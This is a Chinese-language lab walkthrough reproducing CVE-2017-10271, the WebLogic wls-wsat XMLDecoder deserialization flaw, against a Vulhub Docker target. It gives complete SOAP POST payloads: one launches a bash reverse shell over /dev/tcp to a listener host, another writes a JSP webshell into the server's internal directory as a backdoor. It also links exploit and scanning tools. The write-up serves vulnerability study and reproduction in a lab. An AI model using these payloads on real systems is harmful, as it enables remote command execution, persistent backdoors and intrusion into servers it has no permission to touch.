漏洞描述
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞
漏洞影响版本
Weblogic 10.3.6 | 12.1.3.0.0 | 12.2.1.1.0
漏洞地址
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType1
漏洞复现
我这里使用的VulHub靶场Vulhub - Docker-Compose file for vulnerability environment
在路径中启动靶机环境
cd /app/vulhub-master/weblogic/CVE-2017-10271
使用docker启动
docker-compose up -d
启动后查看端口为7001
访问如下链接,存在下图则说明可能存在漏洞
http://192.168.153.128:7001//wls-wsat/CoordinatorPortType
Payload
Tips:可自行构造
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host:192.168.153.128:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.153.129/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
反弹Shell
使用BurpSuite进行抓包,写入准备好的Payload进行发送
自行构造反弹Shell命令即可,进行发送
bash -i >& /dev/tcp/your:ip/4444 0>&1
kali进行监听
再进行发包,可以看到Shell已经弹回来了
写入后门
自行构造Webshell,我这里构造Jsp的
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问bea_wls_internal/test.jsp即可
漏洞EXP
下载地址:https://github.com/0xn0ne/weblogicScanner.git
GitHub - JasonLOU/WeblogicScan-master
漏洞检测工具
至此、复现成功
使用完后关闭镜像
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down